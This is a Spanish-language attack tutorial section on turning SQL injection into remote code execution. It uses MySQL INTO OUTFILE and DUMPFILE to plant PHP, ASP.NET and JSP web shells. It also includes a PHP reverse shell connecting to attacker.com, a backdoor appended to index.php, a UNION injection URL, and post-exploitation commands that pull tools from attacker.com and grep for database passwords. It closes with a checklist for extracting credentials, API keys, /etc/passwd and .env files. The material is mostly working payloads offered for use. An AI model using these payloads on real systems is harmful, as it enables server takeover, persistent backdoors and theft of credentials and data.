3.1 - Función INTO OUTFILE

Cómo funciona:

sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Requisitos:

  1. Privilegio FILE en usuario BD
  2. Ruta debe existir y ser escribible por MySQL
  3. secure_file_priv debe permitir escritura
  4. Archivo no debe existir ya (INTO OUTFILE falla si existe)

Verificar si es posible:

sql
-- Ver si tiene FILE privilege
SHOW GRANTS FOR current_user();

-- Ver ruta permitida
SELECT @@secure_file_priv;
-- NULL = Deshabilit ado
-- /tmp = Solo en /tmp
-- (vacío) = Permitido en cualquier lado

3.2 - Crear Shell Web PHP Básico

Payload simple:

sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Uso:

http://target.com/shell.php?cmd=whoami
Resultado: www-data

Payload mejorado (con errores ocultos):

sql
SELECT '<?php @system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Payload con output capturado:

sql
SELECT '<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>' INTO OUTFILE '/var/www/html/shell.php';

Payload con POST y GET:

sql
SELECT '<?php 
$cmd = $_REQUEST["cmd"];
if($cmd) {
  echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>' INTO OUTFILE '/var/www/html/shell.php';

3.3 - Crear Shell Web ASP.NET

Para servidores Windows/MSSQL:

sql
SELECT '<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
if(cmd != null) {
  Process p = Process.Start("cmd.exe", "/c " + cmd);
  StreamReader sr = p.StandardOutput;
  Response.Write(sr.ReadToEnd());
}
%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';

3.4 - Crear Shell Web JSP

sql
SELECT '<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
  Process p = Runtime.getRuntime().exec(cmd);
  BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
  String line;
  while((line = br.readLine()) != null) {
    out.println(line + "<br>");
  }
}
%>' INTO OUTFILE '/var/www/html/shell.jsp';

3.5 - Crear Reverse Shell

Shell que se conecta a atacante:

sql
SELECT '<?php
$sock = fsockopen("attacker.com", 4444);
$proc = proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>' INTO OUTFILE '/var/www/html/shell.php';

Desde atacante:

bash
nc -lvp 4444
# Esperar conexión shell

# O con socat
socat FILE:`tty`,raw,echo=0 TCP-LISTEN:4444

3.6 - Sobrescribir Archivos Existentes

Problema: INTO OUTFILE falla si archivo existe

Solución: Usar INTO DUMPFILE (más permisivo)

sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/config.php';

NOTA: Sobrescribe archivo existente (PELIGROSO, puede romper app)


3.7 - Crear Backdoor en Archivo Existente

Adjuntar código a archivo existente:

sql
SELECT CONCAT((SELECT LOAD_FILE('/var/www/html/index.php')), 
'<?php if($_GET["admin"]=="yes") system($_GET["cmd"]); ?>') 
INTO OUTFILE '/var/www/html/index.php.bak';

Luego:

bash
mv index.php.bak index.php

3.8 - En SQL Injection - Ejemplo

URL: ?product=test' UNION SELECT '<?php system($_GET["cmd"]); ?>', 2, 3, 4 
INTO OUTFILE '/var/www/html/shell.php' --

Respuesta: (sin error = archivo creado)

Verificación:
http://target.com/shell.php?cmd=whoami
Resultado: www-data

 RCE CONSEGUIDO

3.9 - Post-Explotación con Shell

Una vez dentro:

bash
# Información del sistema
whoami
id
uname -a
pwd
ls -la /

# Buscar archivos importantes
find / -name "*.php" -type f 2>/dev/null | head -20
find / -name "config*" -type f 2>/dev/null

# Ver variables de entorno
env
printenv

# Conectividad
ifconfig
netstat -tuln
arp -a

# BD credentials en variables
grep -r "DB_PASS" /var/www/

# Subir herramientas
wget http://attacker.com/linpeas.sh
curl http://attacker.com/exploit.c -o exploit.c


Checklist de Explotación Completo

  • [ ] Detecté SQLi (comilla + error o SLEEP)
  • [ ] Identifiqué tipo de BD (MySQL, MSSQL, etc)
  • [ ] Enuméré todas las bases de datos
  • [ ] Encontré BD objetivo
  • [ ] Enuméré todas las tablas
  • [ ] Identifiqué tabla con credenciales
  • [ ] Enuméré columnas de tabla crítica
  • [ ] Encontré columna password/admin_pass
  • [ ] Extraje datos sensibles (usuarios, passwords)
  • [ ] Extraje configuración (API keys, secrets)
  • [ ] Verifiqué privilegios del usuario
  • [ ] Intenté leer archivos (/etc/passwd, config.php, .env)
  • [ ] Intenté escribir shell web (RCE)
  • [ ] Verifiqué RCE (shell.php?cmd=whoami)
  • [ ] Post-explotación (enumeración de sistema, credenciales en archivos)